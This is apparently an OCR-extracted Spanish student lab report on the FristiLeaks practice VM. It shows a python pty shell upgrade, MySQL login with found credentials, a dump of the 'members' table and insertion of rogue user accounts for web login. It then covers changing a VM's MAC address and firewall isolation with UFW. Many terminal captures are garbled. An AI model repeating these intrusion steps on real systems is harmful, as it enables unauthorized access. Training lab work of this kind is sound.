e Tabla de usuarios: members
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5.2.6 Acceso ala base de datos usando las credenciales encontradas

j + 1 kali@kali: ~

sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")’
python -c 'import pty;pty.spawn("/bin/bash")’
bash-4.1$ mysql -u eezeepz -p

mysql -u eezeepz -p

Enter password: 4113maall2#

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 8355

Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> ||

Ilustracion 34. Conexion Exitosa a la Base de Datos MySQL

Esta imagen muestra como se establecid una conexion interactiva con la base de datos
MySQL del servidor FristiLeaks:
1. Se us6 python -c 'import pty;pty.spawn("/bin/bash")' para obtener un bash funcional.
2. Se ejecutd mysql -u eezeepz -p y se ingreso la contraseia 4113maal 12# (ligera variacion

de la encontrada en el script, pero esencialmente la misma).
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5.2.7 Identificacion de las tablas y estructura de la base de datos

 + 1 kali@kali: ~

SHOW DATABASES' at line 1
mysql> SHOW DATABASES;
SHOW DATABASES;

2 rows in set (0.00 sec)

mysql> USE hackmenow;

USE hackmenow;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> SHOW TABLES;
SHOW TABLES;

1 row in set (0.00 sec)

mysql> [

llustracion 35. Exploracion de la Base de Datos "hackmenow"

Esta imagen muestra los comandos SQL utilizados para explorar la base de datos:

1. SHOW DATABASES; revela que existen dos bases: information _schema (estandar de
MySQL) y hackmenow (la base de datos del sitio).

2. USE hackmenow; para trabajar directamente con la base de datos objetivo.

3. SHOW TABLES; confirma que solo existe una tabla llamada members, que muy

probablemente almacena los usuarios y contrasefias del sistema.



5.2.8 Credenciales almacenadas en la base de datos

j +1 kali@kali: ~

| Tables_in_hackmenow |

1 row in set (0.80 sec)

mysql> DESCRIBE members;
DESCRIBE members;
== v e L L DL e LT fm—————
Field | Type
__________ b, e
| int(4)
username | varchar(65) | NO
password | varchar(65) | NO
__________ do ol ="
3 rows in set (8.00 sec)

mysql> SELECT * FROM members;
SELECT * FROM members;
$o—m——mmm fommm e +
| id | username | password |
it L C Fommm e +
1 | eezeepz | keKkeKKeKKeKkEkkEk |
 lt S fommm e +
1 row in set (0.00 sec)

mysql> ||

llustracion 36. Contenido de la Tabla "members" con Credenciales

Esta imagen muestra el resultado de la consulta SELECT * FROM members;, que
muestra el contenido completo de la tabla "members" en la base de datos "hackmenow". Se
observa:

« Unico usuario registrado:
o Username: eezeepz
o Password: Una contrasefia larga compuesta por repeticiones de "kek"

(ej: kekkekkekkek...).



5.2.9 Campos y tipos de datos de la tabla members

a kali@kali: ~

mysql> USE hackmenow;
| USE hackmenow;
Database changed
mysql> SHOW TABLES;
SHOW TABLES;

1 row in set (0.00 sec)

mysql> DESCRIBE members;
DESCRIBE members;

e o e

| Field | Type

e e S
| int(4)

| username | varchar(65) | NO

| password | varchar(65) | NO

e S S

3 rows in set (0.00 sec)

mysql> SHOW COLUMNS FROM members;
SHOW COLUMNS FROM members;
o ————— o ———————— o ———— e o —————

llustracion 37. Estructura de la Tabla "members" en la Base de Datos

Esta imagen muestra los comandos utilizados para examinar la estructura de la tabla
"members":
1. USE hackmenow; (para asegurar que esta en la base correcta).
2. SHOW TABLES; confirma que solo existe la tabla "members".
3. DESCRIBE members; revela la estructura de la tabla:
e id: Entero (int) de 4 digitos, clave primaria y auto-incrementable.
e username: Campo de texto (varchar) de hasta 65 caracteres.

e password: Campo de texto (varchar) de hasta 65 caracteres.



5.2.10 Creacion de usuarios para acceso al sistema

a kali@kali: ~

| st | wama wsewma \ W s | e

| password | varchar(65) | NO
o o o o

3 rows in set (0.00 sec)

mysql> SHOW COLUMNS FROM members;
SHOW COLUMNS FROM members;
o e R e ————
| Field | Type | Default
o ———— e ————— o ———
| int(4)
| username | varchar(65) | NO
| password | varchar(65) | NO
o ——— Fmmm Fmmm———
3 rows in set (0.00 sec)

mysql> USE hackmenow;

USE hackmenow;

Database changed

|mysql> INSERT INTO members (username, password) VALUES ('kevinl', 'usuariol');
| INSERT INTO members (username, password) VALUES ('kevinl', 'usuariol');

Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO members (username, password) VALUES ('jaramillo2', 'usuario2

);SERT INTO members (username, password) VALUES ('jaramillo2', 'usuario2'
Query OK, 1 row affected (0.00 sec)

llustracion 38. Insercion de Nuevos Usuarios en la Base de Datos

Esta imagen muestra el uso del comando INSERT INTO para agregar dos nuevos
usuarios a la tabla "members" de la base de datos:
1. Usuario 1:
o Username: kevinl
o Password: usuariol
2. Usuario 2:
o Username: jaramillo2

o Password: usuario2
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5.2.11 Confirmacion de la insercion exitosa de los usuarios

J + 1 kali@kali: ~ (o} s

mysql> INSERT INTO members (username, password) VALUES ('kevini', 'usuariol');
INSERT INTO members (username, password) VALUES ('kevinl', 'usuariol');
Query OK, 1 row affected (0.00 sec)

mysql> INSERT INTO members (username, password) VALUES ('jaramillo2', 'usuario2
)i

);SERT INTO members (username, password) VALUES ('jaramillo2', 'usuario2'

Query OK, 1 row affected (0.00 sec)

mysql>
mysql>
mysql>

mysql> SELECT * FROM members;
SELECT * FROM members;
———————————— s
username | password |
———————————— Fommmmm e}
eezeepz | keKkeKKeKKeKkEkkEk |
kevinl | usuariol |
jaramillo2 | usuario2
------------ Fomm e}
in set (0.00 sec)

Hlustracion 39. Verificacion de los Nuevos Usuarios en la Base de Datos

Esta imagen muestra el resultado de la consulta SELECT * FROM members; después de
insertar los nuevos usuarios. Se confirma que la tabla ahora contiene tres registros:

1. Usuario original:
o Username: eezepz (posible error tipografico de "eezeepz")
o Password: Una contrasefia larga compuesta por repeticiones de "kek"

2. Nuevo usuario 1:
o Username: kevinl
o Password: usuariol

3. Nuevo usuario 2:



o

o

Username: jaramillo2 (nombre con posible error tipografico)

Password: usuario2

5.2.12 Acceso utilizando las credenciales creadas en la base de datos

B

* 192.128.100.11/fristi/ X 192.128.100.11/fristi/ = -+

¢« > C @ O A& 192128.100M mw % @ @ 90

Kali Linux

#5 KaliTools ¢ KaliDocs XN Kali Forums e\ Kali NetHunter Exploit-DB

(

®

Member Login

Username : |kevin1 |

Password : |usuario |

‘ Login |

Ilustracion 40. Inicio de Sesion con el Nuevo Usuario "kevinl"
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=) + 192.128.100.11/fristi/) ®x 192.128.100.11/fristiflog’ = +

&« C @

O A 192.128.100.11 no% 7y ®

KaliLinux #& KaliTools « KaliDocs % Kali Forums ex Kali NetHunter

Login successful

upload file

@ &8 =

Exploit-DB

llustracion 41. Inicio de Sesion Exitoso con el Usuario "kevinl"
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« 2> C @

8.100.1/fristi/ >x  192.128.100.11/fristi/ x  +

192.128.100.11 0% 7 ® 9

KaliLinux # KaliTools = KaliDocs % Kali Forums e Kali NetHunter Exploit-DB

Member Login

Username : |jaramillo2 |

Password : |usuario2 ]

| Legin |

llustracion 42. Inicio de Sesion con el Nuevo Usuario "jaramillol"
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B - 192.128100.1/fristi/ % | 192.128.100.11/fristiflogi X +
« C O & 192.128.100.11 mw w ®© @ 9

KaliLinux #& KaliTools ¢ KaliDocs 3 KaliForums ¢ Kali NetHunter Exploit-DB

Login successful

upload file

Ilustracion 43. Inicio de Sesion Exitoso con el Usuario "jaramillol"”
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5.3.Cambio de mac en Lubuntu

5.3.1 Direccion MAC anterior

Basic

General Red

¥, do A dor 2 A dor 3 A dor £
o Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

v Habilitar adaptador de red
Pantalla
Conectado a:  Red NAT

Almacenamiento

9 (] E [

Mombre: Red_Semestre9-2025

LRy Tipo de adaptador:  Intel PR AT Desktop (f

Red o promiscuo:  Permitir todo
s En MAC: (R
Puertos serie Direccion MAC: 08(

v Cable conectado

USBE

Carpetas compartidas

)
' 4
-

Puertos serie

E Interfaz de usuario Puerto1 = Puerto2  Puerto3  Puerto 4

Aceptar Cancelar Ayuda

Hustracion 44. Configuracion Original de Red de la Maquina Lubuntu

Esta imagen muestra la configuracion de red original de la maquina Lubuntu en, donde la

direccion MAC asignada era 08002742CFCO.
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5.3.2 Nueva direccion MAC asignada

General =

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

Sistema
v Habilitar adaptador de red
Pantalla
Conectado a:  Red NAT

Almacenamiento =
Mombre: Red_Semestre3-2025

Audio Tipo de adaptador: | Intel PRO T Desktop (82540EM)

Red Modo promiscuo: | Permitir todo

rreeTy Direccion MAC

v Cable conectado
USB

Carpetas compartidas
Puertos serie

E Interfaz de usuario Puerio1l  Puerto2  Puerto3d  Puerto4d

Aceptar Cancelar Ayuda

[lustracion 45. Configuracion de Red Modificada

Esta imagen muestra la configuracion actualizada de la maquina Lubuntu, donde la direccion

MAC ha sido cambiada a 080027159A3B.
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5.3.3 Comprobacion de la comunicacion con Kali

administrador@administrador-virtualbox: ~

Archivo  Acciones Editar Vista Ayuda

administrador@administrador-virtualbox: ~

adm1.n1.5trador@admnlstrador -vi tua'l.box S ping 192 1._a lHH
PIIl 192.128.100.5 (192.128.1 ) 5 " da
4 by 5 from 1 1. ' r
from
5 from 1¢
5 from
s from 1¢
s from

- . . .
LA b b b bR
. .e s

llustracion 46. Prueba de Conectividad con Kali Linux desde Lubuntu

Esta imagen muestra el resultado del ping 192.128.100.5 ejecutado en la maquina
Lubuntu (con la direccion MAC modificada). A pesar del cambio de MAC, Lubuntu atin puede

comunicarse con Kali Linux (IP: 192.128.100.5)
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5.3.4 Actualizacion de paquetes

administrador@administrador-virtualbox: ~

Archivo Acciones Editar Vista Ayuda

administrador@administrador-virtualbox: ~ =

administrador@administrador-virtualbox:~$ sudo apt update
[sudo] cont na para admin
>, ubuntu.co

Lty.ubuntu.c

ve.ubuntu.com/ubuntu noble-updates InRelease
ve.ubuntu.com/ubuntu noble-backports InRele

~ - 1M — f = 29
ve.,ubuntu.com/ s [325

ity.ubuntu.com/ubuntu noble-security/main amd64 Pack

ve.ubuntu.com/ubuntu noble/universe Translation-es

86 Packa
curity/main amdé4 Comp

rity.ubuntu.com/ubuntu noble-security/main amdé4 c-n
B]

—urity.ubuntu.com/ubuntu noble-security/univ

Ilustracion 47. Actualizacion del Sistema Lubuntu

Esta imagen muestra la ejecucion del comando sudo apt update en la maquina Lubuntu

para la actualizacion de paquetes y repositorios
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5.3.5 Bloqueo de trafico entrante y saliente

administrador@administrador-virtualbox: ~

Archivo Acciones Editar Vista Ayuda

administrador@administrador-virtualbox: ~ =

administrador@administrador-virtualbox: sudo apt install ufw -y

eliminar v 58 no actual

ufw default deny incomi

[lustracion 48. Configuracion del Firewall UFW para Aislar Lubuntu

Esta imagen muestra la configuracion del firewall en Lubuntu para lograr el aislamiento:
1. sudo ufw default deny incoming — Bloquea todo el trafico entrante.
2. sudo ufw default deny outgoing — Bloquea todo el trafico saliente.

Estas politicas restringen completamente la comunicacion de la maquina Lubuntu,

impidiendo tanto conexiones entrantes como salientes.
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5.3.6 Edicion de reglas para denegar ping

administrador@administrador-virtualbox: ~

Archivo  Acciones Editar Vista Ayuda

administrador@administrador-virtualbox: ~ =

GNU nano 7.2 Jetc/ufw/before.rules *
-A ufw-before-input

A ufw-before-input

re-forward
re-forward
|

re-forward

A ufw-before-input -p udp --sport 67 --dport 68 -j ACCEPT

W8 Guardar ' i Cortar
W Leer fich. .eemplaza

llustracion 49. Modificacion de Reglas del Firewall

Esta imagen muestra la edicion del archivo de
configuracion /etc/ufw/before.rules utilizando el editor Nano. Se ha afiadido una regla
personalizada para bloquear especificamente las solicitudes ICMP (ping):
e -A ufw-before-input -p icmp --icmp-type echo-request -j DROP

Esta regla asegura que las solicitudes de ping sean denegadas.



5.3.7 Habilitacion y confirmacion del firewall

Archivo Acciones Editar Vista Ayuda

administrador@administrador-virtualbox: ~ *
cortafue esta ac litado
El cortafue se ha recargado

- - __t
o
S .

L1 nuevos: Lp
administrador@administrador-virtualbox:

admln'i.strador@adnin'i.stradoriv1.rtua'l.box: sudo ufw
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administrador@administrador-virtualbox: ~

administrador@administrador-virtualbox:~$ sudo ufw enable

angl

administrador@administrador-virtualbox: sudo ufw

llustracion 50. Activacion y Verificacion del Firewall

Esta imagen muestra la activacion y verificacion del firewall UFW en Lubuntu:

1. sudo ufw enable — Habilita UFW y lo activa en el arranque del sistema.

2. sudo ufw reload — Aplica los cambios realizados en las reglas (incluyendo la denegacion

de ICMP).

3. sudo ufw status verbose — Confirma que el firewall est4 activo con politicas

predeterminadas.
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5.3.8 Comprobacion del bloqueo de comunicaciones mediante ping

administrador@administrador-virtualbox: ~

Archivo Acciones Editar Vista Ayuda

admInlsl:rador@admlnlstrador-vlrtualbox:~ *

[lustracion 51. Prueba de Aislamiento con Firewall

Esta imagen muestra el resultado del ping 192.128.100.5 (direccion IP de Kali Linux)

después de activar el firewall en Lubuntu.
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6. Problemas encontrados
Durante la elaboracién del laboratorio no tuve inconvenientes, ya que todos los pasos los
ejecut¢ de manera ordenada. La clave fue seguir la secuencia de comandos y verificar las
configuraciones
Algunos comandos iniciales no funcionaron como se esperaba, lo que requirid investigacion

adicional para encontrar alternativas validas.



7. Recomendaciones

Verificar sintaxis de comandos
Anotar los comandos exitosos para replicarlos en futuros escenarios
Probar comandos paso a paso

leer los mensajes de error con atencion
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8. Conclusion
Concluyo diciendo que con este ejercicio se pudo comprobar que una pagina web sin la
proteccion adecuada puede ser facilmente atacada con inyeccion SQL. Se logro ingresar a la base
de datos de Fristi, crear nuevos usuarios y acceder con ellos al sistema. La experiencia sirvid para
aprender de manera practica y sencilla como se explotan estas fallas y para valorar la importancia

de reforzar la seguridad en aplicaciones web.
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